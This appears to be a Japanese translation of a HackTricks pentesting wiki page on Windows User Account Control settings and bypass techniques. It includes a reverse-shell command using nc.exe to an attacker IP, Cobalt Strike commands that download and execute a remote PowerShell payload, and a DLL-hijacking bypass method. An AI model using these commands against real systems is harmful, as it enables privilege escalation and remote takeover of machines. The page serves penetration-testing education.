22 KiB
UAC - ユーザーアカウント制御
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
UAC
ユーザーアカウント制御(UAC)は、昇格されたアクティビティの承認プロンプトを有効にする機能です。アプリケーションには異なる整合性
レベルがあり、高いレベルのプログラムはシステムを危険にさらす可能性のあるタスクを実行することができます。UACが有効になっている場合、アプリケーションとタスクは常に、管理者がこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを明示的に許可するまで、管理者以外のアカウントのセキュリティコンテキストで実行されます。これは、管理者が意図しない変更から保護する便利な機能ですが、セキュリティの境界とは見なされません。
整合性レベルについての詳細は、次のページを参照してください:
{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
UACが設定されている場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常のレベルで実行するための標準ユーザーキーと、管理者特権を持つものです。
このページでは、UACの動作、ユーザーエクスペリエンス、およびUACアーキテクチャについて詳しく説明しています。管理者は、セキュリティポリシーを使用して、ローカルレベル(secpol.mscを使用)で組織固有のUACの動作を設定するか、Active Directoryドメイン環境でグループポリシーオブジェクト(GPO)を構成およびプッシュアウトすることができます。さまざまな設定については、こちらで詳しく説明されています。UACに設定できる10のグループポリシー設定については、以下の表に詳細が記載されています:
グループポリシー設定 | レジストリキー | デフォルト設定 |
---|---|---|
ビルトイン管理者アカウントのユーザーアカウント制御: 管理者承認モード | FilterAdministratorToken | 無効 |
ユーザーアカウント制御: セキュアデスクトップを使用せずにUIAccessアプリケーションに昇格のプロンプトを許可する | EnableUIADesktopToggle | 無効 |
ユーザーアカウント制御: 管理者承認モードの昇格プロンプトの動作 | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求める |
ユーザーアカウント制御: 標準ユーザーの昇格プロンプトの動作 | ConsentPromptBehaviorUser | セキュアデスクトップで資格情報を求める |
ユーザーアカウント制御: アプリケーションのインストールの検出と昇格のプロンプト | EnableInstallerDetection | 有効(ホームのデフォルト) 無効(エンタープライズのデフォルト) |
[ユーザーアカウント制御: 署名され、検証された実行可能ファイルのみを昇 | ||
ユーザーアカウント制御:ユーザーごとの場所にファイルとレジストリの書き込みエラーを仮想化する | EnableVirtualization | 有効 |
UACバイパスの理論
一部のプログラムは、ユーザーが管理者グループに所属している場合、自動的に自動昇格します。これらのバイナリには、_マニフェスト内に_value _True_の_autoElevate_オプションがあります。また、バイナリはMicrosoftによって署名されている必要もあります。
そのため、UAC(中の完全性レベルから高に昇格)をバイパスするため、一部の攻撃者はこの種のバイナリを使用して任意のコードを実行します。なぜなら、それは高い完全性レベルのプロセスから実行されるからです。
ツール_Sysinternals_の_sigcheck.exe_を使用してバイナリの_マニフェスト_を確認できます。また、Process Explorer_または_Process Monitor(Sysinternalsの)を使用して、プロセスの完全性レベルを確認できます。
UACの確認
UACが有効かどうかを確認するには、以下を実行してください:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
もし値が**1
であれば、UACは有効です。もし値が0
であるか、存在しない場合は、UACは無効**です。
次に、どのレベルが設定されているかを確認します。
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- もし
0
なら、UACはプロンプトを表示しません(無効のようなものです) - もし
1
なら、管理者はバイナリを高い権限で実行するためにユーザ名とパスワードを要求されます(セキュアデスクトップ上で) - もし
2
なら(常に通知)、管理者が高い権限で何かを実行しようとすると、UACは常に確認を求めます(セキュアデスクトップ上で) - もし
3
なら、1
と同じですが、セキュアデスクトップ上では必要ありません - もし
4
なら、2
と同じですが、セキュアデスクトップ上では必要ありません - もし
5
(デフォルト)なら、管理者に対して非Windowsバイナリを高い権限で実行するかどうか確認を求めます
次に、LocalAccountTokenFilterPolicy
の値を確認する必要があります。
もし値が 0
なら、RID 500 ユーザ(ビルトインの管理者)のみがUACなしで管理者タスクを実行できます。もし値が 1
なら、"Administrators" グループ内のすべてのアカウントが実行できます。
最後に、キー FilterAdministratorToken
の値を確認します。
もし 0
(デフォルト)なら、ビルトインの管理者アカウント はリモート管理タスクを実行できます。もし 1
なら、ビルトインの管理者アカウントはリモート管理タスクを実行できません(ただし、LocalAccountTokenFilterPolicy
が 1
に設定されている場合は除く)。
要約
EnableLUA=0
または 存在しない 場合、誰にもUACはありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=1
の場合、誰にもUACはありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=0
の場合、RID 500(ビルトインの管理者)にはUACがありませんEnableLua=1
かつLocalAccountTokenFilterPolicy=0
かつFilterAdministratorToken=1
の場合、誰にもUACがあります
これらの情報は、metasploit モジュール post/windows/gather/win_privs
を使用して収集できます。
また、ユーザのグループと整合性レベルを確認することもできます。
net user %username%
whoami /groups | findstr Level
UACバイパス
{% hint style="info" %} 被害者に対してグラフィカルなアクセス権がある場合、UACバイパスは簡単です。UACのプロンプトが表示されたときに単純に「はい」をクリックするだけです。 {% endhint %}
UACバイパスは、次の状況で必要です:UACが有効になっており、プロセスが中間完全性コンテキストで実行され、ユーザーが管理者グループに所属している場合。
重要なことは、UACが最高のセキュリティレベル(常に)に設定されている場合は、他のレベル(デフォルト)に設定されている場合よりもUACバイパスがはるかに困難であるということです。
UACが無効化されている場合
UACが既に無効化されている場合(ConsentPromptBehaviorAdmin
が**0
である場合)、次のような方法で管理者特権(高い完全性レベル)で逆シェルを実行**できます:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
トークン複製によるUACバイパス
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
非常に基本的なUAC "バイパス"(完全なファイルシステムアクセス)
管理者グループに所属するユーザーを持つシェルがある場合、SMB(ファイルシステム)を介してC$共有をマウントすることができます。新しいディスクにローカルにマウントされ、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダーも含む)。
{% hint style="warning" %} このトリックはもう機能しないようです {% endhint %}
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
Cobalt Strikeを使用したUACバイパス
Cobalt Strikeのテクニックは、UACが最大セキュリティレベルに設定されていない場合にのみ機能します。
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
UACバイパスのエクスプロイト
UACMEは、複数のUACバイパスエクスプロイトのコンパイルです。UACMEをビジュアルスタジオまたはmsbuildを使用してコンパイルする必要があります。コンパイルにより、いくつかの実行可能ファイル(Source\Akagi\outout\x64\Debug\Akagi.exe
など)が作成されますが、必要なものを知る必要があります。
いくつかのバイパスは、ユーザーに何かが起こっていることを警告する他のプログラムを表示することがありますので、注意が必要です。
UACMEには、各テクニックが動作を開始したビルドバージョンがあります。自分のバージョンに影響を与えるテクニックを検索できます。
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
また、このページを使用すると、ビルドバージョンからWindowsリリース1607
を取得できます。
さらなるUACバイパス
ここで使用されるUACバイパスのすべてのテクニックは、被害者との完全な対話シェルを必要とします(一般的なnc.exeシェルでは十分ではありません)。
meterpreterセッションを使用して取得できます。セッション値が1に等しいプロセスに移行します。
(_explorer.exe_が動作するはずです)
GUIを使用したUACバイパス
GUIにアクセスできる場合、UACプロンプトを受け入れるだけでバイパスする必要はありません。したがって、GUIにアクセスできるとUACをバイパスできます。
さらに、(おそらくRDP経由で)他の誰かが使用していたGUIセッションにアクセスできる場合、https://github.com/oski02/UAC-GUI-Bypass-appverifのような管理者として実行されるツールがいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えばcmdを管理者として直接実行することができます。これは少しステルスです。
騒々しいブルートフォースUACバイパス
騒々しくなることを気にしない場合、常にhttps://github.com/Chainski/ForceAdminのようなものを実行して、ユーザーが許可するまで権限の昇格を要求することができます。
独自のバイパス - 基本的なUACバイパスの方法論
UACMEを見ると、ほとんどのUACバイパスがDll Hijackingの脆弱性を悪用していることに気付くでしょう(主に悪意のあるdllを_C:\Windows\System32_に書き込む)。Dll Hijackingの脆弱性を見つける方法については、こちらを読んでください。
- 自動昇格するバイナリを見つけます(実行時に高い完全性レベルで実行されることを確認します)。
- procmonを使用して、DLL Hijackingに脆弱性のある**"NAME NOT FOUND"**イベントを見つけます。
- おそらく、書き込み権限がない保護されたパス(C:\Windows\System32など)にDLLを書き込む必要があるでしょう。これを回避するには、次の方法を使用できます。
- wusa.exe:Windows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができます(このツールは高い完全性レベルから実行されるため)。
- IFileOperation:Windows 10。
- 保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するためのスクリプトを準備します。
別のUACバイパスのテクニック
自動昇格バイナリがレジストリから実行されるバイナリまたはコマンドの名前/パスを読み取ろうとするかどうかを監視する方法です(これは、バイナリがこの情報をHKCU内で検索する場合に特に興味深いです)。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。